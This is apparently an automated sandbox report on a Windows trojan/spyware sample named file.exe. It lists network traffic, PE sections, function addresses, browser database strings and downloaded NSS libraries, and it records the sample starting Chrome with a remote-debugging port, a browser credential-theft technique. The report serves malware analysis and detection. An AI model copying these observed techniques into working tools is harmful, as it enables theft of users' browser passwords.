Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.4:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49952 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49953 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49955 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49979 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C7662C0 PR_dtoa,PR_GetCurrentThread,strlen,NtFlushVirtualMemory,PR_GetCurrentThread,memcpy,memcpy,

0_2_6C7662C0

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EAC60	0_2_6C5EAC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BAC30	0_2_6C6BAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A6C00	0_2_6C6A6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DECC0	0_2_6C5DECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63ECD0	0_2_6C63ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AED70	0_2_6C6AED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70AD50	0_2_6C70AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C768D20	0_2_6C768D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76CDC0	0_2_6C76CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E4DB0	0_2_6C5E4DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C676D90	0_2_6C676D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67EE70	0_2_6C67EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C0E20	0_2_6C6C0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EAEC0	0_2_6C5EAEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680EC0	0_2_6C680EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666E90	0_2_6C666E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2F70	0_2_6C6A2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64EF40	0_2_6C64EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E6F10	0_2_6C5E6F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C720F20	0_2_6C720F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BEFF0	0_2_6C6BEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E0FE0	0_2_6C5E0FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C728FB0	0_2_6C728FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EEFB0	0_2_6C5EEFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B4840	0_2_6C6B4840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C630820	0_2_6C630820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66A820	0_2_6C66A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E68E0	0_2_6C6E68E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C618960	0_2_6C618960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C636900	0_2_6C636900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FC9E0	0_2_6C6FC9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6149F0	0_2_6C6149F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6709A0	0_2_6C6709A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69A9A0	0_2_6C69A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A09B0	0_2_6C6A09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65CA70	0_2_6C65CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C698A30	0_2_6C698A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68EA00	0_2_6C68EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65EA80	0_2_6C65EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E6BE0	0_2_6C6E6BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680BA0	0_2_6C680BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F8460	0_2_6C5F8460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C644420	0_2_6C644420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66A430	0_2_6C66A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6264D0	0_2_6C6264D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67A4D0	0_2_6C67A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70A480	0_2_6C70A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C642560	0_2_6C642560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680570	0_2_6C680570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C728550	0_2_6C728550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C638540	0_2_6C638540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E4540	0_2_6C6E4540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AA5E0	0_2_6C6AA5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66E5F0	0_2_6C66E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D45B0	0_2_6C5D45B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63C650	0_2_6C63C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63E6E0	0_2_6C63E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67E6E0	0_2_6C67E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6046D0	0_2_6C6046D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C660700	0_2_6C660700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60A7D0	0_2_6C60A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62E070	0_2_6C62E070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AC000	0_2_6C6AC000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A8010	0_2_6C6A8010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D8090	0_2_6C5D8090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BC0B0	0_2_6C6BC0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F00B0	0_2_6C5F00B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C648140	0_2_6C648140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C656130	0_2_6C656130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C4130	0_2_6C6C4130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E01E0	0_2_6C5E01E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C668260	0_2_6C668260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678250	0_2_6C678250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B8220	0_2_6C6B8220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AA210	0_2_6C6AA210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7662C0	0_2_6C7662C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B22A0	0_2_6C6B22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AE2B0	0_2_6C6AE2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C722370	0_2_6C722370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FC360	0_2_6C6FC360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C676370	0_2_6C676370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E8340	0_2_6C5E8340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E2370	0_2_6C5E2370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C652320	0_2_6C652320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6343E0	0_2_6C6343E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6123A0	0_2_6C6123A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63E3B0	0_2_6C63E3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E3C40	0_2_6C5E3C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C709C40	0_2_6C709C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F1C30	0_2_6C5F1C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A1CE0	0_2_6C6A1CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71DCD0	0_2_6C71DCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67FC80	0_2_6C67FC80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C643D00	0_2_6C643D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B1DC0	0_2_6C6B1DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D3D80	0_2_6C5D3D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C729D90	0_2_6C729D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73BE70	0_2_6C73BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C765E60	0_2_6C765E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EDE10	0_2_6C6EDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C603EC0	0_2_6C603EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C615F20	0_2_6C615F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C737F20	0_2_6C737F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D5F30	0_2_6C5D5F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68BFF0	0_2_6C68BFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FDFC0	0_2_6C6FDFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C763FC0	0_2_6C763FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C601F90	0_2_6C601F90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63D810	0_2_6C63D810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6138E0	0_2_6C6138E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73B8F0	0_2_6C73B8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BF8F0	0_2_6C6BF8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67F8C0	0_2_6C67F8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ED8E0	0_2_6C5ED8E0

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C7609D0 appears 254 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C603620 appears 74 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C76D930 appears 47 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C719F30 appears 32 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C609B10 appears 85 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C76DAE0 appears 57 times

Source: file.exe, 00000000.00000002.2098906460.000000006F902000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: hahemwbo ZLIB complexity 0.9951222259104704

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@17/35@6/7

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C640300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6C640300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\86EQY29E.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmp, file.exe, 00000000.00000002.2092262995.000000001D438000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2097922271.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmp, file.exe, 00000000.00000002.2092262995.000000001D438000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2097922271.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmp, file.exe, 00000000.00000002.2092262995.000000001D438000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2097922271.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: chrome.exe, 00000001.00000002.1921512602.00002F3404B30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: file.exe, 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmp, file.exe, 00000000.00000002.2092262995.000000001D438000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2097922271.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmp, file.exe, 00000000.00000002.2092262995.000000001D438000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2097922271.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmp, file.exe, 00000000.00000002.2092262995.000000001D438000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2097922271.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2092262995.000000001D438000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2097922271.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1926730137.000000001D334000.00000004.00000020.00020000.00000000.sdmp, AFBFHDBKJEGHJJJKFIIJ.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2092262995.000000001D438000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2097922271.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2092262995.000000001D438000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2097922271.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 42%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
